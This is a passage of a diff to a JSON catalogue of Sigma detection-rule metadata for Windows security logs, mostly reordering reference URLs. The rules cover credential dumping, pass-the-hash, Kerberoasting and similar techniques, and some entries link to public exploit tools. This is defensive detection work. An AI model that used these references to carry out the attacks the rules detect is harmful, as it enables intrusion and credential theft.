"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15764,8 +15762,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" ], "tags": [ "attack.defense_evasion", @@ -15788,8 +15786,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15814,8 +15812,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15840,8 +15838,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15866,8 +15864,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15892,8 +15890,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15918,8 +15916,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15944,8 +15942,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15970,8 +15968,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -15996,8 +15994,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -16022,10 +16020,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://twitter.com/MsftSecIntel/status/1257324139515269121", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml", + "https://twitter.com/MsftSecIntel/status/1257324139515269121" ], "tags": [ "attack.initial_access", @@ -16073,9 +16071,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml", "https://attack.mitre.org/software/S0359/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml" + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm" ], "tags": [ "attack.discovery", @@ -16100,8 +16098,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml", + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html" ], "tags": [ "attack.credential_access", @@ -16155,10 +16153,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml", "https://awakesecurity.com/blog/threat-hunting-for-paexec/", "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", - "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" ], "tags": [ "attack.persistence", @@ -16185,9 +16183,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" + "https://jpcertcc.github.io/ToolAnalysisResultSheet" ], "tags": [ "attack.credential_access", @@ -16211,8 +16209,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml", + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb" ], "tags": [ "attack.lateral_movement", @@ -16235,8 +16233,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bczyz1.github.io/2021/01/30/psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml", + "https://bczyz1.github.io/2021/01/30/psexec.html" ], "tags": [ "attack.lateral_movement", @@ -16288,8 +16286,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml", + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks" ], "tags": [ "attack.defense_evasion", @@ -16409,10 +16407,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml", "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" + "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events" ], "tags": [ "attack.lateral_movement", @@ -16460,10 +16458,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/topotam/PetitPotam", - "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" + "https://github.com/topotam/PetitPotam", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml", + "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/" ], "tags": [ "attack.credential_access", @@ -16487,10 +16485,10 @@ "logsource.product": "windows", "refs": [ "https://github.com/Neo23x0/sigma/blob/ec5bb710499caae6667c7f7311ca9e92c03b9039/rules/windows/builtin/win_dcsync.yml", - "https://twitter.com/gentilkiwi/status/1003236624925413376", "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml", + "https://twitter.com/gentilkiwi/status/1003236624925413376" ], "tags": [ "attack.credential_access", @@ -16513,8 +16511,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" ], "tags": [ "attack.execution", @@ -16537,8 +16535,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml", + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html" ], "tags": [ "attack.lateral_movement", @@ -16639,8 +16637,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1096148422984384514", "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", + "https://twitter.com/SBousseaden/status/1096148422984384514", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" ], "tags": [ @@ -16669,8 +16667,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml", + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1" ], "tags": [ "attack.lateral_movement", @@ -16761,8 +16759,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml", + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html" ], "tags": [ "attack.discovery", @@ -16788,8 +16786,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/matthewdunwoody/status/1352356685982146562", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699" ], "tags": [ "attack.execution", @@ -16862,8 +16860,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml", + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html" ], "tags": [ "attack.lateral_movement", @@ -16888,8 +16886,8 @@ "logsource.category": "security", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", "https://twitter.com/SBousseaden/status/1490608838701166596", + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" ], "tags": [ @@ -16914,8 +16912,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", - "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml", + "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file" ], "tags": [ "attack.lateral_movement", @@ -16961,8 +16959,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=1772", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml", + "https://adsecurity.org/?p=1772" ], "tags": [ "attack.persistence", @@ -17009,10 +17007,10 @@ "logsource.category": "security", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1511760068743766026", "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", - "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" + "https://twitter.com/malmoeb/status/1511760068743766026", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml", + "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py" ], "tags": [ "cve.2021.42278", @@ -17038,8 +17036,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=1714", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml", + "https://adsecurity.org/?p=1714" ], "tags": [ "attack.persistence", @@ -17063,9 +17061,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/deviouspolack/status/832535435960209408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml", "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" + "https://twitter.com/deviouspolack/status/832535435960209408" ], "tags": [ "attack.defense_evasion", @@ -17120,9 +17118,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml", + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" ], "tags": [ "attack.t1110.003", @@ -17290,8 +17288,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml", + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" ], "tags": [ "attack.t1110.003", @@ -17318,8 +17316,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml", + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" ], "tags": [ "attack.t1110.003", @@ -17343,8 +17341,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", "https://twitter.com/SBousseaden/status/1101431884540710913", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" ], "tags": [ @@ -17401,8 +17399,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml", + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" ], "tags": [ "attack.t1110.003", @@ -17449,9 +17447,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml", "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" + "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g" ], "tags": [ "attack.privilege_escalation", @@ -17474,10 +17472,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", - "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", "https://github.com/fox-it/LDAPFragger", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/" ], "tags": [ "attack.t1001.003", @@ -17570,8 +17568,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/jackcr/status/807385668833968128", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml", + "https://twitter.com/jackcr/status/807385668833968128" ], "tags": [ "attack.credential_access", @@ -17594,8 +17592,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" ], "tags": [ @@ -17621,8 +17619,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml", + "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html" ], "tags": [ "attack.impact", @@ -17645,8 +17643,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml", + "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html" ], "tags": [ "attack.discovery", @@ -17734,8 +17732,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/Rubeus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml", + "https://github.com/GhostPack/Rubeus" ], "tags": [ "attack.lateral_movement", @@ -17758,10 +17756,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", - "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", "https://twitter.com/SBousseaden/status/1581300963650187264?", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml", + "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", + "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html" ], "tags": [ "attack.credential_access", @@ -17833,9 +17831,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=3458", "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml", + "https://adsecurity.org/?p=3458" ], "tags": [ "attack.credential_access", @@ -17904,10 +17902,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml", + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", + "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete" ], "tags": [ "attack.impact", @@ -17935,10 +17933,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", "Live environment caused by malware", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml", + "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)" ], "tags": [ "attack.defense_evasion", @@ -17985,8 +17983,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml", + "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html" ], "tags": [ "attack.lateral_movement", @@ -18010,8 +18008,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml", + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html" ], "tags": [ "attack.discovery", @@ -18034,11 +18032,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/Flangvik/status/1283054508084473861", - "https://twitter.com/SecurityJosh/status/1283027365770276866", - "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", - 